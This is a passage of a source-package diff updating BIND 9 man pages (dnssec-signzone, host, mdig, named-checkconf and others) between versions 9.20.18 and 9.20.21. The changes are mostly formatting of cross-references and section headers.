bind9-9.20.18/doc/man/dnssec-signzone.1in 2026-01-09 13:41:22.239975308 +0000 +++ bind9-9.20.21/doc/man/dnssec-signzone.1in 2026-03-13 22:17:47.118252358 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -68,9 +69,9 @@ .B \-D This option indicates that only those record types automatically managed by \fBdnssec\-signzone\fP, i.e., RRSIG, NSEC, NSEC3 and NSEC3PARAM records, should be included in the output. -If smart signing (\fI\%\-S\fP) is used, DNSKEY records are also included. +If smart signing (\fB\-S\fP) is used, DNSKEY records are also included. The resulting file can be included in the original zone file with -\fB$INCLUDE\fP\&. This option cannot be combined with \fI\%\-O raw\fP +\fB$INCLUDE\fP\&. This option cannot be combined with \fB\-O raw\fP or serial\-number updating. .UNINDENT .INDENT 0.0 @@ -132,7 +133,7 @@ possible time before signatures that have been retrieved by resolvers expire from resolver caches. Zones that are signed with this option should be configured to use a matching \fBmax\-zone\-ttl\fP in -\fI\%named.conf\fP\&. (Note: This option is incompatible with \fI\%\-D\fP, +\fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\&. (Note: This option is incompatible with \fB\-D\fP, because it modifies non\-DNSSEC data in the output zone.) .UNINDENT .INDENT 0.0 @@ -265,7 +266,7 @@ This format indicates that the SOA serial number should not be modified. .TP \fBincrement\fP -This format increments the SOA serial number using \X'tty: link https://datatracker.ietf.org/doc/html/rfc1982.html'\fI\%RFC 1982\fP\X'tty: link' arithmetic. +This format increments the SOA serial number using \fBRFC 1982\fP \% arithmetic. .TP \fBunixtime\fP This format sets the SOA serial number to the number of seconds @@ -294,8 +295,8 @@ textual representation of the zone; \fBfull\fP, which is text output in a format suitable for processing by external scripts; and \fBraw\fP and \fBraw=N\fP, which store the zone in binary formats for rapid loading by -\fI\%named\fP\&. \fBraw=N\fP specifies the format version of the raw zone file: -if N is 0, the raw file can be read by any version of \fI\%named\fP; if N is +\fBnamed\fP \%<#\:std-iscman-named>\&. \fBraw=N\fP specifies the format version of the raw zone file: +if N is 0, the raw file can be read by any version of \fBnamed\fP \%<#\:std-iscman-named>; if N is 1, the file can be read by release 9.9.0 or higher. The default is 1. .UNINDENT .INDENT 0.0 @@ -317,10 +318,10 @@ signer, and a DNSKEY record has been removed and replaced with a new one, signatures from the old key that are still within their validity period are retained. This allows the zone to continue to validate -with cached copies of the old DNSKEY RRset. The \fI\%\-Q\fP option forces +with cached copies of the old DNSKEY RRset. The \fB\-Q\fP option forces \fBdnssec\-signzone\fP to remove signatures from keys that are no longer active. This enables ZSK rollover using the procedure described in -\X'tty: link https://datatracker.ietf.org/doc/html/rfc6781.html#section-4.1.1.1'\fI\%RFC 6781 Section 4.1.1.1\fP\X'tty: link' (\(dqPre\-Publish Zone Signing Key Rollover\(dq). +\fBRFC 6781 Section 4.1.1.1\fP \% (\(dqPre\-Publish Zone Signing Key Rollover\(dq). .UNINDENT .INDENT 0.0 .TP @@ -336,10 +337,10 @@ .B \-R This option removes signatures from keys that are no longer published. .sp -This option is similar to \fI\%\-Q\fP, except it forces +This option is similar to \fB\-Q\fP, except it forces \fBdnssec\-signzone\fP to remove signatures from keys that are no longer published. This enables ZSK rollover using the procedure described in -\X'tty: link https://datatracker.ietf.org/doc/html/rfc6781.html#section-4.1.1.2'\fI\%RFC 6781 Section 4.1.1.2\fP\X'tty: link' (\(dqDouble Signature Zone Signing Key +\fBRFC 6781 Section 4.1.1.2\fP \% (\(dqDouble Signature Zone Signing Key Rollover\(dq). .UNINDENT .INDENT 0.0 @@ -386,7 +387,7 @@ This option specifies a TTL to be used for new DNSKEY records imported into the zone from the key repository. If not specified, the default is the TTL value from the zone\(aqs SOA record. This option is ignored when -signing without \fI\%\-S\fP, since DNSKEY records are not imported from +signing without \fB\-S\fP, since DNSKEY records are not imported from the key repository in that case. It is also ignored if there are any pre\-existing DNSKEY records at the zone apex, in which case new records\(aq TTL values are set to match them, or if any of the @@ -432,11 +433,11 @@ (\-) can be used to indicate that no salt is to be used when generating the NSEC3 chain. .sp -\fBNOTE:\fP +\fBNote:\fP .INDENT 7.0 .INDENT 3.5 \fB\-3 \-\fP is the recommended configuration. Adding salt provides no practical benefits. -See \X'tty: link https://datatracker.ietf.org/doc/html/rfc9276.html'\fI\%RFC 9276\fP\X'tty: link'\&. +See \fBRFC 9276\fP \%\&. .UNINDENT .UNINDENT .UNINDENT @@ -446,11 +447,11 @@ This option indicates that, when generating an NSEC3 chain, BIND 9 should use this many iterations. The default is 0. .sp -\fBWARNING:\fP +\fBWarning:\fP .INDENT 7.0 .INDENT 3.5 Values greater than 0 cause interoperability issues and also increase the risk of CPU\-exhausting DoS attacks. -See \X'tty: link https://datatracker.ietf.org/doc/html/rfc9276.html'\fI\%RFC 9276\fP\X'tty: link'\&. +See \fBRFC 9276\fP \%\&. .UNINDENT .UNINDENT .UNINDENT @@ -460,11 +461,11 @@ This option indicates that, when generating an NSEC3 chain, BIND 9 should set the OPTOUT flag on all NSEC3 records and should not generate NSEC3 records for insecure delegations. .sp -\fBWARNING:\fP +\fBWarning:\fP .INDENT 7.0 .INDENT 3.5 Do not use this option unless all its implications are fully understood. This option is intended only for extremely large zones (comparable to \fBcom.\fP) with sparse secure delegations. -See \X'tty: link https://datatracker.ietf.org/doc/html/rfc9276.html'\fI\%RFC 9276\fP\X'tty: link'\&. +See \fBRFC 9276\fP \%\&. .UNINDENT .UNINDENT .UNINDENT @@ -472,7 +473,7 @@ .TP .B \-AA This option turns the OPTOUT flag off for -all records. This is useful when using the \fI\%\-u\fP option to modify an +all records. This is useful when using the \fB\-u\fP option to modify an NSEC3 chain which previously had OPTOUT set. .UNINDENT .INDENT 0.0 @@ -491,11 +492,11 @@ .SH EXAMPLE .sp The following command signs the \fBexample.com\fP zone with the -ECDSAP256SHA256 key generated by \fI\%dnssec\-keygen\fP -(Kexample.com.+013+17247). Because the \fI\%\-S\fP option is not being used, +ECDSAP256SHA256 key generated by \fBdnssec\-keygen\fP \%<#\:std-iscman-dnssec-keygen> +(Kexample.com.+013+17247). Because the \fB\-S\fP option is not being used, the zone\(aqs keys must be in the master file (\fBdb.example.com\fP). This invocation looks for \fBdsset\fP files in the current directory, so that -DS records can be imported from them (\fI\%\-g\fP). +DS records can be imported from them (\fB\-g\fP). .INDENT 0.0 .INDENT 3.5 .sp @@ -510,7 +511,7 @@ .sp In the above example, \fBdnssec\-signzone\fP creates the file \fBdb.example.com.signed\fP\&. This file should be referenced in a zone -statement in the \fI\%named.conf\fP file. +statement in the \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf> file. .sp This example re\-signs a previously signed zone with default parameters. The private keys are assumed to be in the current directory. @@ -527,11 +528,10 @@ .UNINDENT .SH SEE ALSO .sp -\fI\%dnssec\-keygen(8)\fP, BIND 9 Administrator Reference Manual, \X'tty: link https://datatracker.ietf.org/doc/html/rfc4033.html'\fI\%RFC 4033\fP\X'tty: link', -\X'tty: link https://datatracker.ietf.org/doc/html/rfc6781.html'\fI\%RFC 6781\fP\X'tty: link'\&. -.SH AUTHOR +\fBdnssec\-keygen(8)\fP \%<#\:std-iscman-dnssec-keygen>, BIND 9 Administrator Reference Manual, \fBRFC 4033\fP \%, +\fBRFC 6781\fP \%\&. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/dnssec-verify.1in bind9-9.20.21/doc/man/dnssec-verify.1in --- bind9-9.20.18/doc/man/dnssec-verify.1in 2026-01-09 13:41:22.243975414 +0000 +++ bind9-9.20.21/doc/man/dnssec-verify.1in 2026-03-13 22:17:47.121252405 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -100,7 +101,7 @@ Without this flag, it is assumed that the DNSKEY RRset is signed by all active keys. When this flag is set, it is not an error if the DNSKEY RRset is not signed by zone\-signing keys. This corresponds -to the \fI\%\-x option in dnssec\-signzone\fP\&. +to the \fB\-x option in dnssec\-signzone\fP \%<#\:cmdoption-dnssec-signzone-x>\&. .UNINDENT .INDENT 0.0 .TP @@ -116,7 +117,7 @@ the KSK flag state, and that other RRsets be signed by a non\-revoked key for the same algorithm that includes the self\-signed key; the same key may be used for both purposes. This corresponds to -the \fI\%\-z option in dnssec\-signzone\fP\&. +the \fB\-z option in dnssec\-signzone\fP \%<#\:cmdoption-dnssec-signzone-z>\&. .UNINDENT .INDENT 0.0 .TP @@ -125,10 +126,9 @@ .UNINDENT .SH SEE ALSO .sp -\fI\%dnssec\-signzone(8)\fP, BIND 9 Administrator Reference Manual, \X'tty: link https://datatracker.ietf.org/doc/html/rfc4033.html'\fI\%RFC 4033\fP\X'tty: link'\&. -.SH AUTHOR +\fBdnssec\-signzone(8)\fP \%<#\:std-iscman-dnssec-signzone>, BIND 9 Administrator Reference Manual, \fBRFC 4033\fP \%\&. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/dnstap-read.1in bind9-9.20.21/doc/man/dnstap-read.1in --- bind9-9.20.18/doc/man/dnstap-read.1in 2026-01-09 13:41:22.245975467 +0000 +++ bind9-9.20.21/doc/man/dnstap-read.1in 2026-03-13 22:17:47.124252451 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -37,7 +38,7 @@ .sp \fBdnstap\-read\fP reads \fBdnstap\fP data from a specified file and prints it in a human\-readable format. By default, \fBdnstap\fP data is printed in -a short summary format, but if the \fI\%\-y\fP option is specified, a +a short summary format, but if the \fB\-y\fP option is specified, a longer and more detailed YAML format is used. .SH OPTIONS .INDENT 0.0 @@ -69,10 +70,9 @@ .UNINDENT .SH SEE ALSO .sp -\fI\%named(8)\fP, \fI\%rndc(8)\fP, BIND 9 Administrator Reference Manual. -.SH AUTHOR +\fBnamed(8)\fP \%<#\:std-iscman-named>, \fBrndc(8)\fP \%<#\:std-iscman-rndc>, BIND 9 Administrator Reference Manual. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/filter-a.8in bind9-9.20.21/doc/man/filter-a.8in --- bind9-9.20.18/doc/man/filter-a.8in 2026-01-09 13:41:22.250975600 +0000 +++ bind9-9.20.21/doc/man/filter-a.8in 2026-03-13 22:17:47.129252529 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -35,8 +36,8 @@ \fBplugin query\fP \(dqfilter\-a.so\(dq [{ parameters }]; .SH DESCRIPTION .sp -\fBfilter\-a.so\fP is a query plugin module for \fI\%named\fP, enabling -\fI\%named\fP to omit some IPv4 addresses when responding to clients. +\fBfilter\-a.so\fP is a query plugin module for \fBnamed\fP \%<#\:std-iscman-named>, enabling +\fBnamed\fP \%<#\:std-iscman-named> to omit some IPv4 addresses when responding to clients. .sp For example: .INDENT 0.0 @@ -96,9 +97,8 @@ .SH SEE ALSO .sp BIND 9 Administrator Reference Manual. -.SH AUTHOR +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/filter-aaaa.8in bind9-9.20.21/doc/man/filter-aaaa.8in --- bind9-9.20.18/doc/man/filter-aaaa.8in 2026-01-09 13:41:22.248975547 +0000 +++ bind9-9.20.21/doc/man/filter-aaaa.8in 2026-03-13 22:17:47.126252482 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -35,13 +36,13 @@ \fBplugin query\fP \(dqfilter\-aaaa.so\(dq [{ parameters }]; .SH DESCRIPTION .sp -\fBfilter\-aaaa.so\fP is a query plugin module for \fI\%named\fP, enabling -\fI\%named\fP to omit some IPv6 addresses when responding to clients. +\fBfilter\-aaaa.so\fP is a query plugin module for \fBnamed\fP \%<#\:std-iscman-named>, enabling +\fBnamed\fP \%<#\:std-iscman-named> to omit some IPv6 addresses when responding to clients. .sp -Until BIND 9.12, this feature was implemented natively in \fI\%named\fP and +Until BIND 9.12, this feature was implemented natively in \fBnamed\fP \%<#\:std-iscman-named> and enabled with the \fBfilter\-aaaa\fP ACL and the \fBfilter\-aaaa\-on\-v4\fP and \fBfilter\-aaaa\-on\-v6\fP options. These options are no longer available in -\fI\%named.conf\fP but can be passed as parameters to the +\fBnamed.conf\fP \%<#\:std-iscman-named\:.conf> but can be passed as parameters to the \fBfilter\-aaaa.so\fP plugin, for example: .INDENT 0.0 .INDENT 3.5 @@ -100,9 +101,8 @@ .SH SEE ALSO .sp BIND 9 Administrator Reference Manual. -.SH AUTHOR +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/host.1in bind9-9.20.21/doc/man/host.1in --- bind9-9.20.18/doc/man/host.1in 2026-01-09 13:41:22.258975812 +0000 +++ bind9-9.20.21/doc/man/host.1in 2026-03-13 22:17:47.138252669 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -50,23 +51,23 @@ .INDENT 0.0 .TP .B \-4 -This option specifies that only IPv4 should be used for query transport. See also the \fI\%\-6\fP option. +This option specifies that only IPv4 should be used for query transport. See also the \fB\-6\fP option. .UNINDENT .INDENT 0.0 .TP .B \-6 -This option specifies that only IPv6 should be used for query transport. See also the \fI\%\-4\fP option. +This option specifies that only IPv6 should be used for query transport. See also the \fB\-4\fP option. .UNINDENT .INDENT 0.0 .TP .B \-a -The \fI\%\-a\fP (\(dqall\(dq) option is normally equivalent to \fI\%\-v\fP \fI\%\-t ANY\fP\&. It -also affects the behavior of the \fI\%\-l\fP list zone option. +The \fB\-a\fP (\(dqall\(dq) option is normally equivalent to \fB\-v\fP \fB\-t ANY\fP\&. It +also affects the behavior of the \fB\-l\fP list zone option. .UNINDENT .INDENT 0.0 .TP .B \-A -The \fI\%\-A\fP (\(dqalmost all\(dq) option is equivalent to \fI\%\-a\fP, except that RRSIG, +The \fB\-A\fP (\(dqalmost all\(dq) option is equivalent to \fB\-a\fP, except that RRSIG, NSEC, and NSEC3 records are omitted from the output. .UNINDENT .INDENT 0.0 @@ -78,7 +79,7 @@ .INDENT 0.0 .TP .B \-C -This option indicates that \fI\%named\fP should check consistency, meaning that \fBhost\fP queries the SOA records for zone +This option indicates that \fBnamed\fP \%<#\:std-iscman-named> should check consistency, meaning that \fBhost\fP queries the SOA records for zone \fBname\fP from all the listed authoritative name servers for that zone. The list of name servers is defined by the NS records that are found for the zone. @@ -86,15 +87,15 @@ .INDENT 0.0 .TP .B \-d -This option prints debugging traces, and is equivalent to the \fI\%\-v\fP verbose option. +This option prints debugging traces, and is equivalent to the \fB\-v\fP verbose option. .UNINDENT .INDENT 0.0 .TP .B \-l -This option tells \fI\%named\fP to list the zone, meaning the \fBhost\fP command performs a zone transfer of zone +This option tells \fBnamed\fP \%<#\:std-iscman-named> to list the zone, meaning the \fBhost\fP command performs a zone transfer of zone \fBname\fP and prints out the NS, PTR, and address records (A/AAAA). .sp -Together, the \fI\%\-l\fP \fI\%\-a\fP options print all records in the zone. +Together, the \fB\-l\fP \fB\-a\fP options print all records in the zone. .UNINDENT .INDENT 0.0 .TP @@ -116,7 +117,7 @@ .B \-r This option specifies a non\-recursive query; setting this option clears the RD (recursion desired) bit in the query. This means that the name server -receiving the query does not attempt to resolve \fBname\fP\&. The \fI\%\-r\fP +receiving the query does not attempt to resolve \fBname\fP\&. The \fB\-r\fP option enables \fBhost\fP to mimic the behavior of a name server by making non\-recursive queries, and expecting to receive answers to those queries that can be referrals to other name servers. @@ -131,7 +132,7 @@ .INDENT 0.0 .TP .B \-s -This option tells \fI\%named\fP \fInot\fP to send the query to the next nameserver if any server responds +This option tells \fBnamed\fP \%<#\:std-iscman-named> \fInot\fP to send the query to the next nameserver if any server responds with a SERVFAIL response, which is the reverse of normal stub resolver behavior. .UNINDENT @@ -143,34 +144,34 @@ .sp When no query type is specified, \fBhost\fP automatically selects an appropriate query type. By default, it looks for A, AAAA, MX, and HTTPS -records. If the \fI\%\-C\fP option is given, queries are made for SOA +records. If the \fB\-C\fP option is given, queries are made for SOA records. If \fBname\fP is a dotted\-decimal IPv4 address or colon\-delimited IPv6 address, \fBhost\fP queries for PTR records. .sp If a query type of IXFR is chosen, the starting serial number can be specified by appending an equals sign (=), followed by the starting serial -number, e.g., \fI\%\-t IXFR=12345678\fP\&. +number, e.g., \fB\-t IXFR=12345678\fP\&. .UNINDENT .INDENT 0.0 .TP .B \-T, \-U This option specifies TCP or UDP. By default, \fBhost\fP uses UDP when making queries; the -\fI\%\-T\fP option makes it use a TCP connection when querying the name +\fB\-T\fP option makes it use a TCP connection when querying the name server. TCP is automatically selected for queries that require it, such as zone transfer (AXFR) requests. Type \fBANY\fP queries default -to TCP, but can be forced to use UDP initially via \fI\%\-U\fP\&. +to TCP, but can be forced to use UDP initially via \fB\-U\fP\&. .UNINDENT .INDENT 0.0 .TP .B \-m flag This option sets memory usage debugging: the flag can be \fBrecord\fP, \fBusage\fP, or -\fBtrace\fP\&. The \fI\%\-m\fP option can be specified more than once to set +\fBtrace\fP\&. The \fB\-m\fP option can be specified more than once to set multiple flags. .UNINDENT .INDENT 0.0 .TP .B \-v -This option sets verbose output, and is equivalent to the \fI\%\-d\fP debug option. Verbose output +This option sets verbose output, and is equivalent to the \fB\-d\fP debug option. Verbose output can also be enabled by setting the \fBdebug\fP option in \fB/etc/resolv.conf\fP\&. .UNINDENT @@ -183,19 +184,19 @@ .TP .B \-w This option sets \(dqwait forever\(dq: the query timeout is set to the maximum possible. See -also the \fI\%\-W\fP option. +also the \fB\-W\fP option. .UNINDENT .INDENT 0.0 .TP .B \-W wait -This options sets the length of the wait timeout, indicating that \fI\%named\fP should wait for up to \fBwait\fP seconds for a reply. If \fBwait\fP is +This options sets the length of the wait timeout, indicating that \fBnamed\fP \%<#\:std-iscman-named> should wait for up to \fBwait\fP seconds for a reply. If \fBwait\fP is less than 1, the wait interval is set to 1 second. .sp By default, \fBhost\fP waits for 5 seconds for UDP responses and 10 seconds for TCP connections. These defaults can be overridden by the \fBtimeout\fP option in \fB/etc/resolv.conf\fP\&. .sp -See also the \fI\%\-w\fP option. +See also the \fB\-w\fP option. .UNINDENT .SH IDN SUPPORT .sp @@ -211,10 +212,9 @@ \fB/etc/resolv.conf\fP .SH SEE ALSO .sp -\fI\%dig(1)\fP, \fI\%named(8)\fP\&. -.SH AUTHOR +\fBdig(1)\fP \%<#\:std-iscman-dig>, \fBnamed(8)\fP \%<#\:std-iscman-named>\&. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/mdig.1in bind9-9.20.21/doc/man/mdig.1in --- bind9-9.20.18/doc/man/mdig.1in 2026-01-09 13:41:22.334977832 +0000 +++ bind9-9.20.21/doc/man/mdig.1in 2026-03-13 22:17:47.149252840 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -32,25 +33,25 @@ mdig \- DNS pipelined lookup utility .SH SYNOPSIS .sp -\fBmdig\fP \X'tty: link mailto:{@server'\fI\%{@server\fP\X'tty: link'} [\fB\-f\fP filename] [\fB\-h\fP] [\fB\-v\fP] [ [\fB\-4\fP] | [\fB\-6\fP] ] [\fB\-m\fP] [\fB\-b\fP address] [\fB\-p\fP port#] [\fB\-c\fP class] [\fB\-t\fP type] [\fB\-i\fP] [\fB\-x\fP addr] [plusopt...] +\fBmdig\fP \%<{@\:server>} [\fB\-f\fP filename] [\fB\-h\fP] [\fB\-v\fP] [ [\fB\-4\fP] | [\fB\-6\fP] ] [\fB\-m\fP] [\fB\-b\fP address] [\fB\-p\fP port#] [\fB\-c\fP class] [\fB\-t\fP type] [\fB\-i\fP] [\fB\-x\fP addr] [plusopt...] .sp \fBmdig\fP {\fB\-h\fP} .sp \fBmdig\fP [@server] {global\-opt...} { {local\-opt...} {query} ...} .SH DESCRIPTION .sp -\fBmdig\fP is a multiple/pipelined query version of \fI\%dig\fP: instead of +\fBmdig\fP is a multiple/pipelined query version of \fBdig\fP \%<#\:std-iscman-dig>: instead of waiting for a response after sending each query, it begins by sending all queries. Responses are displayed in the order in which they are received, not in the order the corresponding queries were sent. .sp -\fBmdig\fP options are a subset of the \fI\%dig\fP options, and are divided +\fBmdig\fP options are a subset of the \fBdig\fP \%<#\:std-iscman-dig> options, and are divided into \(dqanywhere options,\(dq which can occur anywhere, \(dqglobal options,\(dq which must occur before the query name (or they are ignored with a warning), and \(dqlocal options,\(dq which apply to the next query on the command line. .sp The \fB@server\fP option is a mandatory global option. It is the name or IP -address of the name server to query. (Unlike \fI\%dig\fP, this value is not +address of the name server to query. (Unlike \fBdig\fP \%<#\:std-iscman-dig>, this value is not retrieved from \fB/etc/resolv.conf\fP\&.) It can be an IPv4 address in dotted\-decimal notation, an IPv6 address in colon\-delimited notation, or a hostname. When the supplied \fBserver\fP argument is a hostname, @@ -241,7 +242,7 @@ .TP .B +vc, +novc This option uses [or does not use] TCP when querying name servers. This alternate -syntax to \fI\%+tcp\fP is provided for backwards compatibility. The +syntax to \fB+tcp\fP is provided for backwards compatibility. The \fBvc\fP stands for \(dqvirtual circuit\(dq. .UNINDENT .SH LOCAL OPTIONS @@ -257,7 +258,7 @@ .B \-t type This option sets the query type to \fBtype\fP\&. It can be any valid query type which is supported in BIND 9. The default query type is \(dqA\(dq, -unless the \fI\%\-x\fP option is supplied to indicate a reverse lookup with +unless the \fB\-x\fP option is supplied to indicate a reverse lookup with the \(dqPTR\(dq query type. .UNINDENT .INDENT 0.0 @@ -276,7 +277,7 @@ .INDENT 0.0 .TP .B +aaflag, +noaaflag -This is a synonym for \fI\%+aaonly\fP, \fI\%+noaaonly\fP\&. +This is a synonym for \fB+aaonly\fP, \fB+noaaonly\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -365,7 +366,7 @@ .TP .B +retry=T This sets the number of times to retry UDP queries to server to \fBT\fP -instead of the default, 2. Unlike \fI\%+tries\fP, this does not include +instead of the default, 2. Unlike \fB+tries\fP, this does not include the initial query. .UNINDENT .INDENT 0.0 @@ -404,7 +405,7 @@ .INDENT 0.0 .TP .B +unknownformat, +nounknownformat -This prints [or does not print] all RDATA in unknown RR\-type presentation format (see \X'tty: link https://datatracker.ietf.org/doc/html/rfc3597.html'\fI\%RFC 3597\fP\X'tty: link'). +This prints [or does not print] all RDATA in unknown RR\-type presentation format (see \fBRFC 3597\fP \%). The default is to print RDATA for known types in the type\(aqs presentation format. .UNINDENT @@ -421,10 +422,9 @@ .UNINDENT .SH SEE ALSO .sp -\fI\%dig(1)\fP, \X'tty: link https://datatracker.ietf.org/doc/html/rfc1035.html'\fI\%RFC 1035\fP\X'tty: link'\&. -.SH AUTHOR +\fBdig(1)\fP \%<#\:std-iscman-dig>, \fBRFC 1035\fP \%\&. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/named-checkconf.1in bind9-9.20.21/doc/man/named-checkconf.1in --- bind9-9.20.18/doc/man/named-checkconf.1in 2026-01-09 13:41:22.338977938 +0000 +++ bind9-9.20.21/doc/man/named-checkconf.1in 2026-03-13 22:17:47.154252917 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -36,14 +37,14 @@ .SH DESCRIPTION .sp \fBnamed\-checkconf\fP checks the syntax, but not the semantics, of a -\fI\%named\fP configuration file. The file, along with all files included by it, is parsed and checked for syntax +\fBnamed\fP \%<#\:std-iscman-named> configuration file. The file, along with all files included by it, is parsed and checked for syntax errors. If no file is specified, \fB@sysconfdir@/named.conf\fP is read by default. .sp -Note: files that \fI\%named\fP reads in separate parser contexts, such as +Note: files that \fBnamed\fP \%<#\:std-iscman-named> reads in separate parser contexts, such as \fBrndc.conf\fP or \fBrndc.key\fP, are not automatically read by \fBnamed\-checkconf\fP\&. Configuration errors in these files may cause -\fI\%named\fP to fail to run, even if \fBnamed\-checkconf\fP was +\fBnamed\fP \%<#\:std-iscman-named> to fail to run, even if \fBnamed\-checkconf\fP was successful. However, \fBnamed\-checkconf\fP can be run on these files explicitly. .SH OPTIONS @@ -63,7 +64,7 @@ .INDENT 0.0 .TP .B \-j -When loading a zonefile, this option instructs \fI\%named\fP to read the journal if it exists. +When loading a zonefile, this option instructs \fBnamed\fP \%<#\:std-iscman-named> to read the journal if it exists. .UNINDENT .INDENT 0.0 .TP @@ -93,15 +94,15 @@ .INDENT 0.0 .TP .B \-p -This option prints out the \fI\%named.conf\fP and included files in canonical form if -no errors were detected. See also the \fI\%\-x\fP option. +This option prints out the \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf> and included files in canonical form if +no errors were detected. See also the \fB\-x\fP option. .UNINDENT .INDENT 0.0 .TP .B \-t directory -This option instructs \fI\%named\fP to chroot to \fBdirectory\fP, so that \fBinclude\fP directives in the +This option instructs \fBnamed\fP \%<#\:std-iscman-named> to chroot to \fBdirectory\fP, so that \fBinclude\fP directives in the configuration file are processed as if run by a similarly chrooted -\fI\%named\fP\&. +\fBnamed\fP \%<#\:std-iscman-named>\&. .UNINDENT .INDENT 0.0 .TP @@ -113,15 +114,15 @@ .B \-x When printing the configuration files in canonical form, this option obscures shared secrets by replacing them with strings of question marks -(\fB?\fP). This allows the contents of \fI\%named.conf\fP and related files +(\fB?\fP). This allows the contents of \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf> and related files to be shared \- for example, when submitting bug reports \- without compromising private data. This option cannot be used without -\fI\%\-p\fP\&. +\fB\-p\fP\&. .UNINDENT .INDENT 0.0 .TP .B \-z -This option performs a test load of all zones of type \fBprimary\fP found in \fI\%named.conf\fP\&. +This option performs a test load of all zones of type \fBprimary\fP found in \fBnamed.conf\fP \%<#\:std-iscman-named\:.conf>\&. .UNINDENT .INDENT 0.0 .TP @@ -135,10 +136,9 @@ and 0 otherwise. .SH SEE ALSO .sp -\fI\%named(8)\fP, \fI\%named\-checkzone(8)\fP, BIND 9 Administrator Reference Manual. -.SH AUTHOR +\fBnamed(8)\fP \%<#\:std-iscman-named>, \fBnamed\-checkzone(8)\fP \%<#\:std-iscman-named-checkzone>, BIND 9 Administrator Reference Manual. +.SH Author Internet Systems Consortium -.SH COPYRIGHT +.SH Copyright 2026, Internet Systems Consortium -.\" Generated by docutils manpage writer. -. +.\" End of generated man page. diff -Nru bind9-9.20.18/doc/man/named-checkzone.1in bind9-9.20.21/doc/man/named-checkzone.1in --- bind9-9.20.18/doc/man/named-checkzone.1in 2026-01-09 13:41:22.347978178 +0000 +++ bind9-9.20.21/doc/man/named-checkzone.1in 2026-03-13 22:17:47.215253865 +0000 @@ -1,4 +1,5 @@ -.\" Man page generated from reStructuredText. +.\" Man page generated from reStructuredText +.\" by the Docutils 0.22.4 manpage writer. . . .nr rst2man-indent-level 0 @@ -36,7 +37,7 @@ .SH DESCRIPTION .sp \fBnamed\-checkzone\fP checks the syntax and integrity of a zone file. It -performs the same checks as \fI\%named\fP does when loading a zone. This +performs the same checks as \fBnamed\fP \%<#\:std-iscman-named> does when loading a zone. This makes \fBnamed\-checkzone\fP useful for checking zone files before configuring them into a name server. .SH OPTIONS @@ -64,15 +65,15 @@ .INDENT 0.0 .TP .B \-j -When loading a zone file, this option tells \fI\%named\fP to read the journal if it exists. The journal +When loading a zone file, this option tells \fBnamed\fP \%<#\:std-iscman-named> to read the journal if it exists. The journal file name is assumed to be the zone file name with the string \fB\&.jnl\fP appended. .UNINDENT .INDENT 0.0 .TP .B \-J filename -When loading the zone file, this option tells \fI\%named\fP to read the journal from the given file, if -it exists. This implies \fI\%\-j\fP\&. +When loading the zone file, this option tells \fBnamed\fP \%<#\:std-iscman-named> to read the journal from the given file, if +it exists. This implies \fB\-j\fP\&. .UNINDENT .INDENT 0.0 .TP @@ -132,9 +133,9 @@ .sp Possible formats are \fBtext\fP (the default), which is the standard textual representation of the zone, and \fBraw\fP and \fBraw=N\fP, which -store the zone in a binary format for rapid loading by \fI\%named\fP\&. +store the zone in a binary format for rapid loading by \fBnamed\fP \%<#\:std-iscman-named>\&. \fBraw=N\fP specifies the format version of the raw zone file: if \fBN\fP is -0, the raw file can be read by any version of \fI\%named\fP; if N is 1, the +0, the raw file can be read by any version of \fBnamed\fP \%<#\:std-iscman-named>; if N is 1, the file can only be read by release 9.9.0 or higher. The default is 1. .UNINDENT .INDENT 